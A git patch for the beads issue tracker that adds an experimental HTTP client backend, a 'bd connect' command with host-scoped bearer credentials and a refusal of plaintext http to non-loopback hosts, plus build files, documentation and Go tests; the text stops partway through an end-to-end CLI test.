internal/httpclient/dial.go | 22 + internal/httpclient/dial_test.go | 5 + internal/httpclient/encode/ledger.go | 19 +- .../httpclient/insecure_credential_guard.go | 116 ++ .../insecure_credential_guard_test.go | 251 ++++ internal/httpclient/metadata.go | 5 +- internal/httpclient/open_with.go | 69 ++ internal/httpclient/open_with_test.go | 67 ++ internal/httpclient/roles_graph.go | 100 ++ .../served_external_dependency_policy_test.go | 492 ++++++++ internal/httpclient/store.go | 54 + internal/httpclient/target.go | 77 +- internal/httpclient/target_test.go | 61 + internal/httpclient/unsupported_gen.go | 7 +- internal/httpclient/wire/handshake.go | 22 +- internal/storage/externaldeps/BUILD.bazel | 2 + internal/storage/externaldeps/batch_closer.go | 5 + internal/storage/externaldeps/decorator.go | 260 +++- .../storage/externaldeps/decorator_test.go | 292 ++++- internal/storage/externaldeps/remote_roles.go | 412 +++++++ .../storage/externaldeps/remote_roles_test.go | 636 ++++++++++ .../storage/externaldeps/role_accessors.go | 29 +- internal/storage/storage.go | 49 + scripts/pr_risk_bazel_coverage_test.go | 4 + test/embedder/BUILD.bazel | 73 ++ test/embedder/embedder_test.go | 253 ++++ tools/bazel/BUILD.bazel | 1 + 55 files changed, 6472 insertions(+), 82 deletions(-) create mode 100644 backend/http/BUILD.bazel create mode 100644 backend/http/attach.go create mode 100644 backend/http/attach_test.go create mode 100644 backend/http/credential.go create mode 100644 backend/http/e2e_cli_test.go create mode 100644 backend/http/errors.go create mode 100644 backend/http/http.go create mode 100644 backend/http/open_test.go create mode 100644 backend/http/register_test.go create mode 100644 backend/http/target.go create mode 100644 cmd/bd/connect.go create mode 100644 cmd/bd/http_backend.go create mode 100644 internal/gitignore/ensure.go create mode 100644 internal/gitignore/ensure_test.go create mode 100644 internal/httpclient/insecure_credential_guard.go create mode 100644 internal/httpclient/insecure_credential_guard_test.go create mode 100644 internal/httpclient/open_with.go create mode 100644 internal/httpclient/open_with_test.go create mode 100644 internal/httpclient/served_external_dependency_policy_test.go create mode 100644 internal/storage/externaldeps/remote_roles.go create mode 100644 internal/storage/externaldeps/remote_roles_test.go create mode 100644 test/embedder/BUILD.bazel create mode 100644 test/embedder/embedder_test.go diff --git a/BUILD.bazel b/BUILD.bazel index 134a91d1d..104409817 100644 --- a/BUILD.bazel +++ b/BUILD.bazel @@ -299,6 +299,7 @@ filegroup( ) + [ "//backend:repo_doc_files", "//backend/conformance:repo_doc_files", + "//backend/http:repo_doc_files", "//beadserrors:repo_doc_files", "//cmd/bd:repo_doc_files", "//cmd/bd/doctor:repo_doc_files", @@ -442,6 +443,7 @@ filegroup( "//scripts/workflowtags:repo_doc_files", "//test/conformance:repo_doc_files", "//test/docsync:repo_doc_files", + "//test/embedder:repo_doc_files", "//test/testmainconvention:repo_doc_files", "//tests/hook_timeout_backends:repo_doc_files", "//tests/migration:repo_doc_files", @@ -530,6 +532,7 @@ filegroup( ) + [ "//backend:repo_go_srcs", "//backend/conformance:repo_go_srcs", + "//backend/http:repo_go_srcs", "//beadserrors:repo_go_srcs", "//cmd/bd:repo_go_srcs", "//cmd/bd/doctor:repo_go_srcs", @@ -673,6 +676,7 @@ filegroup( "//scripts/workflowtags:repo_go_srcs", "//test/conformance:repo_go_srcs", "//test/docsync:repo_go_srcs", + "//test/embedder:repo_go_srcs", "//test/testmainconvention:repo_go_srcs", "//tests/hook_timeout_backends:repo_go_srcs", "//tests/migration:repo_go_srcs", @@ -746,6 +750,7 @@ filegroup( ) + [ "//backend:repo_go_test_srcs", "//backend/conformance:repo_go_test_srcs", + "//backend/http:repo_go_test_srcs", "//beadserrors:repo_go_test_srcs", "//cmd/bd:repo_go_test_srcs", "//cmd/bd/doctor:repo_go_test_srcs", @@ -889,6 +894,7 @@ filegroup( "//scripts/workflowtags:repo_go_test_srcs", "//test/conformance:repo_go_test_srcs", "//test/docsync:repo_go_test_srcs", + "//test/embedder:repo_go_test_srcs", "//test/testmainconvention:repo_go_test_srcs", "//tests/hook_timeout_backends:repo_go_test_srcs", "//tests/migration:repo_go_test_srcs", @@ -971,6 +977,7 @@ filegroup( ) + [ "//backend:repo_other_files", "//backend/conformance:repo_other_files", + "//backend/http:repo_other_files", "//beadserrors:repo_other_files", "//cmd/bd:repo_other_files", "//cmd/bd/doctor:repo_other_files", @@ -1114,6 +1121,7 @@ filegroup( "//scripts/workflowtags:repo_other_files", "//test/conformance:repo_other_files", "//test/docsync:repo_other_files", + "//test/embedder:repo_other_files", "//test/testmainconvention:repo_other_files", "//tests/hook_timeout_backends:repo_other_files", "//tests/migration:repo_other_files", diff --git a/CHANGELOG.md b/CHANGELOG.md index 20024c147..7945855c7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -135,6 +135,47 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 will not send, and value constraints (`maxLength`, `pattern` and the like) are outside the digest: such changes need their own review against `wire_revision`. +- `cmd/bd` registers the http client backend built on top of the v0 `bd + serve` wire (`internal/httpclient`), so a workspace whose + `.beads/metadata.json` selects `"backend": "http"` opens over HTTP through + the ordinary `OpenBestAvailable` path, exactly like a registered extension + backend does. A new `bd connect ` command performs the handshake + (`api_version`, wire revision, and — with `--expect-project-id` — workspace + identity) and writes nothing until it succeeds; it then records the + per-user activation sidecar (`.beads/http_target.json`, never + git-tracked — `cmd/bd/doctor/gitignore.go` now requires it and its local + metadata sidecar `http_local_metadata.json` be ignored) and sets + `metadata.json`'s backend to `"http"`. `bd connect` refuses a plain `http://` + URL to a non-loopback host (a bearer credential would cross the network in + the clear) unless `--allow-plaintext` is given, and refuses to switch a + workspace that already selects a different backend unless `--force`. A + credential is never accepted on the command line or written to disk; it + comes from the same ladder every http request already uses + (`BEADS_HTTP_TOKEN=host[:port]=`, then + `BEADS_HTTP_TOKEN_COMMAND=host[:port]=`, then the credentials + file, then none); both variables take only that host-scoped form, and a + bare value is refused, since it would be sent to whatever server the + workspace's `http_target.json` names. The external-dependency policy + decorator (`internal/storage/externaldeps`) still wraps an http store, and + stands down only when the server's handshake advertises + `policy.external_dependencies` (that server has already applied the policy + before answering); against any other server it applies the policy + client-side, around the http store's own served roles. Externally blocked + issues drop out of `bd ready`'s page, total, and count (the v0 wire cannot + express an id exclusion) and out of `bd ready --claim`, `bd close` refuses + them without `--force`, and `bd dep tree` shows their external leaves. + `bd close --claim-next` refuses over http before anything closes, since + the wire's batch close cannot carry the claim; its error says to close + without it and then run `bd ready --claim`. +- The public `backend/http` package (`bdhttp`) is the out-of-tree door onto + this backend for an embedder that links beads as a library rather than + running `cmd/bd`: `Register(Options)` adds `"http"` to the registry and + installs its transport, `Open`/`Handshake` dial a server directly with no + workspace on disk, and the existing public `beads.OpenBestAvailableWith` + takes a per-call `OpenOptions.Credential` through it — the case a + multi-tenant embedder serving many workspaces needs, where a + process-global credential cannot stand in for one tenant's own. + EXPERIMENTAL, pin an exact beads version. ### Changed diff --git a/README.md b/README.md index d54c13949..efe3f223b 100644 --- a/README.md +++ b/README.md @@ -175,6 +175,76 @@ are unaffected. the guard with a warning on stderr. Use this only if you know the forward migrations are additive and safe for your specific workload. +## 🔌 HTTP Backend (experimental) + +A workspace can also talk to a remote `bd serve` over HTTP instead of opening +a local Dolt database — useful for a thin client against a shared server, or +for embedding beads in another program as a library. + +```bash +# Point this workspace at a server (verifies the server first; writes nothing on failure) +bd connect https://bd.example.com --expect-project-id my-project + +# The everyday commands work the same way: create, show, list, update, close, +# dependencies (including `bd dep tree`), comments, ready/count queries, and +# batch apply all round-trip over the wire with the same semantics as a local +# database. So does `bd ready --claim`, except against an older server or while +# any issue holds an unsatisfied external ref: then it lists and claims in two +# steps rather than one transaction (ledger row L14, linked below). +bd create "Fix auth bug" -p 1 -t bug +bd ready --json +bd close bd-a1b2 "Fixed" + +# Loopback needs no TLS +bd connect http://127.0.0.1:8080 + +# Forget the server and restore this workspace's previous backend selection +bd connect --clear +``` + +HTTP mode is not a byte-for-byte mirror of local mode, though: some +operations are knowingly refused (the wire has no way to express them) or +degrade to a different-but-not-misreadable behavior (for example, a few +unbounded listing shapes lose single-query snapshot isolation and instead +walk the server page by page). Every one of these is a deliberate, tested +row, never a silent gap — see +[`engdocs/design/http-divergence-ledger.md`](engdocs/design/http-divergence-ledger.md) +for the full, generated list of what differs and why before depending on an +HTTP-backed workspace for a workflow you haven't checked against it. One +refusal to know up front: `bd close --claim-next` closes nothing over HTTP, +because the wire's batch close cannot carry the claim. Close without it, then +run `bd ready --claim`. + +[Cross-repo dependencies](docs/core-concepts/dependencies.md#cross-repo-dependencies) +keep their policy over HTTP. The client resolves each `external:` reference +against its own `external_projects` configuration. `bd dep tree` shows the +reference as a leaf, and while it is unsatisfied the issue stays out of +`bd ready` and `bd ready --claim`, and `bd close` refuses it without +`--force`. A server that advertises enforcing that policy itself is trusted +to do so instead. + +`bd connect` writes two things on success: `.beads/metadata.json` gets +`"backend": "http"`, and a per-user, never-git-tracked sidecar +(`.beads/http_target.json`) records the server URL and pinned project id. It +never writes a credential to disk. A bearer credential, if the server +requires one, comes from `BEADS_HTTP_TOKEN=host[:port]=`, then +`BEADS_HTTP_TOKEN_COMMAND=host[:port]=` (a helper that prints a +token), then the credentials file, then no credential at all. Both variables +must name the server they are for (a pattern without a port matches that +host on any port); a bare value is refused, because it would be sent to +whatever server the workspace's `http_target.json` names. Connecting to a +non-loopback server over plain `http://` is refused by default (a bearer +credential would cross the network unencrypted) — pass `--allow-plaintext` to +override, or use `https://`. Switching a workspace that already selects a +different backend needs `--force`. + +An embedding program that links beads as a library rather than running +`cmd/bd` registers this backend itself through the public +[`backend/http`](backend/http) package (`bdhttp.Register`), and can open a +workspace with a credential scoped to one caller via +`beads.OpenBestAvailableWith` — see that package's doc comment for the +multi-tenant case. This surface is EXPERIMENTAL: pin an exact beads version. + ## 🌐 Community Tools See [docs/community-tools.md](docs/community-tools.md) for a curated list of community-built UIs, extensions, and integrations—including terminal interfaces, web UIs, editor extensions, and native apps. diff --git a/backend/http/BUILD.bazel b/backend/http/BUILD.bazel new file mode 100644 index 000000000..3411699a1 --- /dev/null +++ b/backend/http/BUILD.bazel @@ -0,0 +1,149 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") +load("@rules_shell//shell:sh_test.bzl", "sh_test") + +go_library( + name = "http", + srcs = [ + "attach.go", + "credential.go", + "errors.go", + "http.go", + "target.go", + ], + importpath = "github.com/steveyegge/beads/backend/http", + visibility = ["//visibility:public"], + deps = [ + "//backend", + "//internal/configfile", + "//internal/gitignore", + "//internal/httpapi/apigen", + "//internal/httpclient", + "//internal/httpclient/wire", + "//internal/storage/backends", + ], +) + +go_test( + name = "http_test", + # The served e2e cases run ~4-5 min on the farm under + # BEADS_TEST_EMBEDDED_DOLT=1, past the medium 300s action limit. + size = "large", + timeout = "long", + srcs = [ + "attach_test.go", + "e2e_cli_test.go", + "open_test.go", + "register_test.go", + ], + # The e2e files exec the real bd (bazeltest.PrebuiltBD); they run under + # BEADS_TEST_EMBEDDED_DOLT=1 and skip otherwise. + data = ["//cmd/bd:bd_for_tests"], + env = {"BEADS_TEST_BD_BINARY": "$(rlocationpath //cmd/bd:bd_for_tests)"}, + deps = [ + ":http", + "//backend", + "//internal/configfile", + "//internal/httpapi", + "//internal/httpclient", + "//internal/storage", + "//internal/storage/backends", + "//internal/storage/domain", + "//internal/storage/embeddeddolt", + "//internal/testutil/bazeltest", + ], +) + +# http_test again, with the e2e tier on: BEADS_TEST_EMBEDDED_DOLT=1 starts the +# in-process server over embedded Dolt and BEADS_HTTP_TEST_REQUIRED=1 turns a +# skip of that tier into a failure. http_test alone skips the TestE2E_* cases +# in every lane, because no lane sets those variables for it. It repeats +# http_test's `env` (go_test_variant.sh). +# +# Tags: +# embedded: the embedded-Dolt tier; excluded from --config=prcore/ci, +# selected by --config=embedded. +sh_test( + name = "http_served_test", + size = "large", + # -test.timeout=19m fires (with a goroutine dump) before Bazel's 1200s + # action limit (eternal under --config=embedded). + timeout = "eternal", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = [ + "$(rootpath :http_test)", + "-test.v", + "-test.count=1", + "-test.timeout=19m", + ], + data = [ + ":http_test", + "//cmd/bd:bd_for_tests", + ], + env = { + "BEADS_HTTP_TEST_REQUIRED": "1", + "BEADS_TEST_BD_BINARY": "$(rlocationpath //cmd/bd:bd_for_tests)", + "BEADS_TEST_EMBEDDED_DOLT": "1", + }, + tags = ["embedded"], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +# --- end repo_files --- diff --git a/backend/http/attach.go b/backend/http/attach.go new file mode 100644 index 000000000..f2175ff5f --- /dev/null +++ b/backend/http/attach.go @@ -0,0 +1,133 @@ +// Written fresh for OSS beads S6 (no bd-enterprise source copied): closes the +// S6 review's MED-8 finding, which asked for one public helper an embedder +// (or `bd connect`) can call to activate a workspace for this backend, +// instead of each caller hand-assembling the two-file write itself. +package bdhttp + +import ( + "context" + "fmt" + + "github.com/steveyegge/beads/internal/configfile" + "github.com/steveyegge/beads/internal/gitignore" + "github.com/steveyegge/beads/internal/httpclient" +) + +// Attach activates the http backend for the workspace at beadsDir: it writes +// the per-user activation sidecar (SaveTarget) pinning target's server and +// project, then sets the workspace's git-tracked backend selection in +// metadata.json to this backend, preserving every other configured field +// (database, project id, ...) and creating a fresh default metadata.json only +// when none exists yet. Both files are written atomically (temp file plus +// rename, 0600): see SaveTarget and configfile.Config.Save. +// +// Unless the caller already set target.PreviousBackend, Attach fills it in +// from the workspace's PRIOR backend selection, so `bd connect --clear` can +// restore it later; see that field's doc. +// +// Attach does NOT verify target itself — it has no network access and takes +// target on faith. A caller MUST call Handshake (or httpclient.Handshake) +// against target first and only call Attach once that succeeds; attaching an +// unverified target lets a workspace record a server that is wrong, hostile, +// or simply never answers. Connect, below, does both in the right order and +// is the easier door for a caller that does not need them split. +// +// Attach does not create beadsDir itself — MkdirAll is the caller's job, same +// as SaveTarget's own precondition. It DOES ensure both of this backend's +// per-user filenames are covered by beadsDir's .gitignore +// (gitignore.EnsurePatternIgnored): the sidecar, and +// httpclient.LocalMetadataFileName, which the store writes on first use. That +// is the same guarantee `bd connect` makes via doctor.EnsureGitignoreForBeadsDir +// — but through a small, independent implementation here rather than +// importing cmd/bd/doctor, whose package as a whole pulls in dolt and +// git-process dependencies that would break backend/http's promise of a +// minimal dependency footprint for an embedder. The two are complementary and +// idempotent together. +// +// It is the one place that writes BOTH of the files that activate beads/http +// (the sidecar and metadata.json's backend selection; the local metadata file +// is the store's own), so a caller that used to hand-assemble the pair +// (`bd connect`'s own connectCmd.RunE, test/embedder's linkage proof) can call +// this instead and stay correct across a future change to either file's shape. +func Attach(beadsDir string, target Target) error { + cfg, err := configfile.Load(beadsDir) + if err != nil { + return fmt.Errorf("reading %s: %w", configfile.ConfigFileName, err) + } + if cfg == nil { + cfg = configfile.DefaultConfig() + } + // target.PreviousBackend (bee-ghosttrack CHANGES_REQUESTED on #7288, + // should-fix 1) is what `bd connect --clear` restores metadata.json's + // backend selection to. A caller rarely sets it itself (connect.go + // doesn't), so fill it in here unless the workspace is ALREADY on this + // backend — a re-connect (a new URL, or re-pinning the same one) must + // not overwrite an earlier recorded previous backend with "http" itself, + // or a chain of reconnects would forget what to restore and --clear + // would land back on http with no sidecar. Carry the ALREADY-recorded + // value forward instead; a failed or missing read just leaves it "", + // the same as a workspace with nothing to restore. The check reads the + // raw field: in a process that never ran Register, GetBackend() reports an + // http workspace as the dolt default, and the reconnect would record that. + if target.PreviousBackend == "" { + if cfg.Backend == httpclient.Backend { + if prior, err := httpclient.LoadTarget(beadsDir); err == nil { + target.PreviousBackend = prior.PreviousBackend + } + } else { + target.PreviousBackend = cfg.GetBackend() + } + } + if err := SaveTarget(beadsDir, target); err != nil { + return fmt.Errorf("writing %s: %w", httpclient.TargetFileName, err) + } + // Both of this backend's per-user files: the sidecar just written, and + // the local metadata file the store itself writes on first use, which + // never passes through here and so must be covered in advance. + for _, name := range []string{httpclient.TargetFileName, httpclient.LocalMetadataFileName} { + if err := gitignore.EnsurePatternIgnored(beadsDir, name); err != nil { + return fmt.Errorf("ensuring %s is gitignored: %w", name, err) + } + } + // Only the backend SELECTION changes here. cfg.Database/cfg.ProjectID (if + // an existing metadata.json carried them for a different, prior backend) + // are left exactly as loaded — see connect.go's own comment on this same + // hazard: this backend's identity lives entirely in the sidecar just + // written above, and clobbering those fields would corrupt a future + // `bd connect --clear` back to a different backend. + cfg.Backend = httpclient.Backend + if err := cfg.Save(beadsDir); err != nil { + return fmt.Errorf("writing %s: %w", configfile.ConfigFileName, err) + } + return nil +} + +// Connect is Handshake followed by Attach: it verifies target — the same +// server-identity check `bd connect` performs before it ever writes +// anything — and only then activates the workspace. It is the convenience +// door for a caller that wants Attach's ordering guarantee (never attach a +// workspace to a server this process has not handshaken) without composing +// Handshake and Attach itself. +// +// Mirroring `bd connect`'s own project-id pinning: if target.ExpectProjectID +// is empty, Connect pins it to whatever project the server answered with +// before calling Attach, so the workspace is tied to that project from this +// call on. If it is already set, Handshake itself refuses a mismatch and +// Connect returns that error without calling Attach at all. Connect does not +// replicate `bd connect`'s other CLI-level policy — --force re-pinning an +// already-attached workspace, or refusing to switch a workspace from a +// different backend — those stay the command's own job; Connect's contract +// is exactly "handshake, then attach". +func Connect(ctx context.Context, beadsDir string, target Target, opts Options) (*ServerSnapshot, error) { + snapshot, err := Handshake(ctx, target, opts) + if err != nil { + return nil, err + } + if target.ExpectProjectID == "" { + target.ExpectProjectID = snapshot.ProjectID + } + if err := Attach(beadsDir, target); err != nil { + return nil, err + } + return snapshot, nil +} diff --git a/backend/http/attach_test.go b/backend/http/attach_test.go new file mode 100644 index 000000000..7594b3240 --- /dev/null +++ b/backend/http/attach_test.go @@ -0,0 +1,180 @@ +package bdhttp_test + +// Written fresh for OSS beads S6: pins the bee-ghosttrack CHANGES_REQUESTED +// finding on #7288, should-fix 1 — `bd connect --clear` restoring a +// workspace's previous backend selection needs Attach to have recorded what +// that previous backend WAS, onto the sidecar, at connect time. + +import ( + "net/url" + "os" + "path/filepath" + "strings" + "testing" + + bdhttp "github.com/steveyegge/beads/backend/http" + "github.com/steveyegge/beads/internal/configfile" + "github.com/steveyegge/beads/internal/httpclient" +) + +func mustAttachTestURL(t *testing.T, raw string) *url.URL { + t.Helper() + u, err := url.Parse(raw) + if err != nil { + t.Fatalf("url.Parse(%q): %v", raw, err) + } + return u +} + +// TestAttachRecordsThePriorBackendAsPreviousBackend is the first-connect +// case: a workspace that selected "dolt" before ever running `bd connect` +// must have Attach record "dolt" as PreviousBackend, so --clear can restore +// it later. +func TestAttachRecordsThePriorBackendAsPreviousBackend(t *testing.T) { + beadsDir := t.TempDir() + cfg := &configfile.Config{Backend: "dolt", Database: "beads.db"} + if err := cfg.Save(beadsDir); err != nil { + t.Fatalf("seed metadata.json: %v", err) + } + + target := bdhttp.Target{BaseURL: mustAttachTestURL(t, "http://127.0.0.1:8080")} + if err := bdhttp.Attach(beadsDir, target); err != nil { + t.Fatalf("Attach: %v", err) + } + + got, err := bdhttp.LoadTarget(beadsDir) + if err != nil { + t.Fatalf("LoadTarget: %v", err) + } + if got.PreviousBackend != "dolt" { + t.Errorf("PreviousBackend = %q, want %q", got.PreviousBackend, "dolt") + } + + after, err := configfile.Load(beadsDir) + if err != nil { + t.Fatalf("reload metadata.json: %v", err) + } + // Asserts on the raw stored field, not GetBackend(): GetBackend() falls + // back to BackendDolt for any name backendnames.Has doesn't recognize + // (TestGetBackendAllowlist in internal/configfile), and "http" is only + // ever added there by bdhttp.Register/httpclient.Register — a + // once-per-process, panics-on-duplicate production wiring call this test + // package must not make. The raw field is exactly what Attach controls. + if after.Backend != httpclient.Backend { + t.Errorf("metadata.json backend = %q after Attach, want %q", after.Backend, httpclient.Backend) + } +} + +// TestAttachOnAFreshWorkspaceRecordsTheImplicitDoltDefault covers a +// workspace with no metadata.json at all: GetBackend()'s own default +// ("dolt") is what a future --clear restores to, matching what every other +// backend-selection read in this codebase already treats as this +// workspace's backend. +func TestAttachOnAFreshWorkspaceRecordsTheImplicitDoltDefault(t *testing.T) { + beadsDir := t.TempDir() + target := bdhttp.Target{BaseURL: mustAttachTestURL(t, "http://127.0.0.1:8080")} + if err := bdhttp.Attach(beadsDir, target); err != nil { + t.Fatalf("Attach: %v", err) + } + got, err := bdhttp.LoadTarget(beadsDir) + if err != nil { + t.Fatalf("LoadTarget: %v", err) + } + if got.PreviousBackend != "dolt" { + t.Errorf("PreviousBackend = %q, want %q (configfile.BackendDolt)", got.PreviousBackend, "dolt") + } +} + +// TestAttachOnAReconnectKeepsTheEarlierPreviousBackend covers a workspace +// ALREADY on http (a bare re-connect, or --force re-pinning the same +// backend): Attach must not overwrite an already-recorded PreviousBackend +// with "http" itself, or a chain of reconnects would forget what --clear is +// supposed to restore. +func TestAttachOnAReconnectKeepsTheEarlierPreviousBackend(t *testing.T) { + beadsDir := t.TempDir() + // Not dolt: an unregistered "http" reads back through GetBackend() as the + // dolt default, so a dolt prior could not tell carrying it forward from + // recording that default. + cfg := &configfile.Config{Backend: "postgres", Database: "beads.db"} + if err := cfg.Save(beadsDir); err != nil { + t.Fatalf("seed metadata.json: %v", err) + } + + first := bdhttp.Target{BaseURL: mustAttachTestURL(t, "http://127.0.0.1:8080")} + if err := bdhttp.Attach(beadsDir, first); err != nil { + t.Fatalf("first Attach: %v", err) + } + + // A second connect to a different url, same workspace, same backend + // ("http", already selected) — the shape `bd connect --force` to a new + // server produces for an already-http workspace. + second := bdhttp.Target{BaseURL: mustAttachTestURL(t, "http://127.0.0.1:9090")} + if err := bdhttp.Attach(beadsDir, second); err != nil { + t.Fatalf("second Attach: %v", err) + } + + got, err := bdhttp.LoadTarget(beadsDir) + if err != nil { + t.Fatalf("LoadTarget: %v", err) + } + if got.PreviousBackend != "postgres" { + t.Errorf("PreviousBackend after a reconnect = %q, want the original %q carried forward, not the just-left \"http\"", got.PreviousBackend, "postgres") + } + if got.BaseURL.String() != "http://127.0.0.1:9090" { + t.Errorf("BaseURL = %q, want the second connect's url", got.BaseURL.String()) + } +} + +// TestAttachHonorsACallerSuppliedPreviousBackend covers Connect's doc +// contract: a caller that already set target.PreviousBackend itself (none +// of this package's own callers do today) must have that value win over +// Attach's own inference. +func TestAttachHonorsACallerSuppliedPreviousBackend(t *testing.T) { + beadsDir := t.TempDir() + cfg := &configfile.Config{Backend: "dolt", Database: "beads.db"} + if err := cfg.Save(beadsDir); err != nil { + t.Fatalf("seed metadata.json: %v", err) + } + + target := bdhttp.Target{BaseURL: mustAttachTestURL(t, "http://127.0.0.1:8080"), PreviousBackend: "mysql"} + if err := bdhttp.Attach(beadsDir, target); err != nil { + t.Fatalf("Attach: %v", err) + } + got, err := bdhttp.LoadTarget(beadsDir) + if err != nil { + t.Fatalf("LoadTarget: %v", err) + } + if got.PreviousBackend != "mysql" { + t.Errorf("PreviousBackend = %q, want the caller-supplied %q to win over the inferred %q", got.PreviousBackend, "mysql", "dolt") + } +} + +// TestAttachGitignoresBothPerUserFiles pins Attach's .gitignore guarantee for +// both files this backend keeps per user in beadsDir: the sidecar Attach +// writes, and the local metadata file the store writes later, on first use. +// `bd connect` also covers the second through doctor's required patterns, +// but an embedder activating through Attach alone has only this. A reconnect +// must not duplicate either line. +func TestAttachGitignoresBothPerUserFiles(t *testing.T) { + beadsDir := t.TempDir() + for _, raw := range []string{"http://127.0.0.1:8080", "http://127.0.0.1:9090"} { + if err := bdhttp.Attach(beadsDir, bdhttp.Target{BaseURL: mustAttachTestURL(t, raw)}); err != nil { + t.Fatalf("Attach(%s): %v", raw, err) + } + } + content, err := os.ReadFile(filepath.Join(beadsDir, ".gitignore")) + if err != nil { + t.Fatalf("read .gitignore after Attach: %v", err) + } + for _, name := range []string{httpclient.TargetFileName, httpclient.LocalMetadataFileName} { + count := 0 + for _, line := range strings.Split(string(content), "\n") { + if strings.TrimSpace(line) == name { + count++ + } + } + if count != 1 { + t.Errorf(".gitignore names %s %d time(s) after two Attaches, want exactly 1:\n%s", name, count, content) + } + } +} diff --git a/backend/http/credential.go b/backend/http/credential.go new file mode 100644 index 000000000..5152319f3 --- /dev/null +++ b/backend/http/credential.go @@ -0,0 +1,57 @@ +package bdhttp + +import ( + "net/url" + + "github.com/steveyegge/beads/internal/httpclient" +) + +// CredentialProvider authorizes outbound requests to a bd serve. +// +// An implementation must be safe for concurrent use, must never log or +// persist a secret, and must FAIL CLOSED: a configured source that errors +// aborts the request rather than silently downgrading to an unauthenticated +// one. +type CredentialProvider = httpclient.CredentialProvider + +const ( + // TokenEnv carries the bearer token itself, the highest rung of the + // built-in ladder. + // #nosec G101 -- the NAME of an environment variable, not a credential. + TokenEnv = httpclient.TokenEnv + // TokenCommandEnv names a helper that prints a token, either bare or in + // the kubectl ExecCredential envelope {"token","expirationTimestamp"}. + // #nosec G101 -- the NAME of an environment variable, not a credential. + TokenCommandEnv = httpclient.TokenCommandEnv +) + +// BearerProvider is the built-in credential ladder: TokenEnv, then +// TokenCommandEnv, then the credentials file's [host:port] section, then no +// credential at all (the tip OSS server's loopback-trust posture, a +// legitimate answer and not a failure). +type BearerProvider = httpclient.BearerProvider + +// NewBearerProvider builds the built-in ladder for a server. Open and +// Handshake already dial with it; it is exported so an embedder that wants to +// WRAP the default (decorate it for one target, delegate to it for the rest) +// does not have to reimplement it. +func NewBearerProvider(base *url.URL) *BearerProvider { + return httpclient.NewBearerProvider(base) +} + +// ProvidedCredential adapts a CredentialProvider into the opaque +// backends.Credential marker interface, so it can be carried through +// beads.OpenOptions / beads.OpenBestAvailableWith (and, directly, through +// backends.OpenOptions) to the registered "http" backend's OpenWith hook +// Register installs. +// +// A multi-tenant embedder (for example gc, Gas City: one process serving many +// workspaces, called "cities") that wants a distinct credential per workspace +// wraps that workspace's own provider in a ProvidedCredential rather than +// calling Open directly: the registered dialer Register installs is +// process-wide and cannot hold one credential per tenant, but the per-open +// OpenWith seam can, and this is the opaque wrapper type that seam +// recognizes. See httpclient.ResolveCredential and +// backends.OpenOptions.Credential's own doc comment for the single-tenant +// ambient-ladder default this exists to opt out of. +type ProvidedCredential = httpclient.ProvidedCredential diff --git a/backend/http/e2e_cli_test.go b/backend/http/e2e_cli_test.go new file mode 100644 index 000000000..096926365 --- /dev/null +++ b/backend/http/e2e_cli_test.go @@ -0,0 +1,1059 @@ +//go:build cgo + +// Written fresh for OSS beads S6 (no bd-enterprise source copied). The +// in-process server wiring mirrors internal/httpclient/served_harness_test.go +// (itself under provenance there), reused here as a black-box harness: this +// file never imports the wire client, it shells out to a real `bd` binary so +// the CLI dispatch (cmd/bd/http_backend.go's Register call, `bd connect`, +// `bd update --if-revision`'s exit code contract) is what gets exercised, not +// the internal client package. +package bdhttp_test + +import ( + "context" + "encoding/json" + "fmt" + "io" + "os" + "os/exec" + "path/filepath" + "runtime" + "strings" + "sync" + "testing" + "time" + + "github.com/steveyegge/beads/internal/httpapi" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/domain" + "github.com/steveyegge/beads/internal/storage/embeddeddolt" + "github.com/steveyegge/beads/internal/testutil/bazeltest" +) + +// e2eProjectID is the identity the in-process server publishes; `bd connect` +// reads it back off the handshake and pins the workspace to it. +const e2eProjectID = "proj-e2e-s6" + +const e2eDatabase = "httpe2e" + +// TestE2E_BDOverHTTP drives the real `bd` binary against an in-process `bd +// serve`, end to end: connect, create, an update guarded by --if-revision +// (both the matching case and the stale case, which must exit 13 with the +// precondition_failed body), close, dep add, ready, count, list (JSON, text +// and --deps), an external dependency through dep tree, ready, list --ready, +// ready --claim, a refused close --claim-next and a refused then forced close, +// a claim after that close, and delete. +func TestE2E_BDOverHTTP(t *testing.T) { + skipUnlessEmbeddedDolt(t) + bin := buildBD(t) + + addr := startE2EServer(t) + workspace := t.TempDir() + + connect := runBD(t, bin, workspace, nil, + "connect", "http://"+addr, "--expect-project-id", e2eProjectID, "--json") + if connect.code != 0 { + t.Fatalf("bd connect failed (exit %d): stdout=%s stderr=%s", connect.code, connect.stdout, connect.stderr) + } + if _, err := os.Stat(filepath.Join(workspace, ".beads", "http_target.json")); err != nil { + t.Fatalf("bd connect did not write the activation sidecar: %v", err) + } + gitignore, err := os.ReadFile(filepath.Join(workspace, ".beads", ".gitignore")) + if err != nil { + t.Fatalf("bd connect did not ensure a .beads/.gitignore: %v", err) + } + if !strings.Contains(string(gitignore), "http_target.json") { + t.Errorf(".beads/.gitignore does not cover http_target.json: %s", gitignore) + } + + // create, under a named actor: bd stamps CreatedBy with the same actor it + // sends, which the http create role accepts and the server records. + const creator = "e2e-creator" + asCreator := []string{"BEADS_ACTOR=" + creator} + create := runBD(t, bin, workspace, asCreator, "create", "A title", "-d", "a description", "--json") + if create.code != 0 { + t.Fatalf("bd create 